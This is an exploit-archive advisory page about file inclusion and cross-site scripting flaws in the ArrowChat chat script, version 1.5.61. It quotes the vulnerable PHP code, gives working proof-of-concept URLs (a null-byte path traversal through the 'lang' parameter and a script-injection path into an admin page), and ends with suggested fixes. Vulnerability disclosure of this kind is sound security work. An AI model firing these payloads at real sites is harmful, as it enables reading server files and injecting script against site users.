exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ArrowChat 1.5.61 Cross Site Scripting / Local File Inclusion

ArrowChat 1.5.61 Cross Site Scripting / Local File Inclusion
Posted Feb 2, 2013
Authored by kallimero

ArrowChat versions 1.5.61 and below suffer from cross site scripting and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, xss, file inclusion
SHA-256 | f99d4cd6c8b68fda6b4411a581267736acdd1b484a1b4179f410efa7b644181c

ArrowChat 1.5.61 Cross Site Scripting / Local File Inclusion

Change Mirror Download
# Exploit Title: ArrowChat <=~ 1.5.61  Multiple vulnerabilities
# Date: 01/01/2013
# Exploit Author: Kallimero
# Vendor Homepage: http://www.sitexcms.org/
# Version: 1.5.61, before, and maybe 1.6
# Tested on: Debian


Introduction
============

ArrowChat is a chat script, which is able to be integrate in various CMS,
as wordpress, or some bulletin boards.


Vulnz
========


1- ) Local File Inclusion


external.php let us load langage, but not a secure way.

---------------[external.php]---------------

// Load another language if lang GET value is set and exists
if (var_check('lang'))
{
$lang = get_var('lang');

if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php"))
{
include (dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php");
}
}
---------------[index.php]---------------

Thanks to the nullbyte tricks we'll be able to include any php file, like
that :

http://[site]/[path]/external.php?lang=../path/to/file%00&type=djs

2- ) reflected XSS

The administration layout is accessible for anyone. Even if we can't exec
the php code of the admin, we can inject html thanks to $_SERVER['PHP_SELF']


Example :
-------[admin/layout/pages_general.php]-----

<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?do=<?php
echo $do; ?>" enctype="multipart/form-data">
----------------------------------

PoC:
http://
[site]/[path]/admin/layout/pages_general.php/'"/><script>alert(1);</script>


How to Fix ?
============

To fix the LFI, you can replace it with :
// Load another language if lang GET value is set and exists

if (var_check('lang'))
{
$lang = get_var('lang');
if(preg_match("#^[a-z]{2,5}$#i", $lang)){
if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php"))
{
include (dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php");
}
}
}

lang will be include only if it's a valid lang file.

For the XSS's, you can use a .htaccess to protect the layout directory,
and use htmlentities to avoid the html inj'.



Thanks
=========

All hwc members : Necromoine, fr0g, AppleSt0rm, St0rn, Zhyar, k3nz0,
gr4ph0s.
Please visit : http://www.orgasm.re/


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close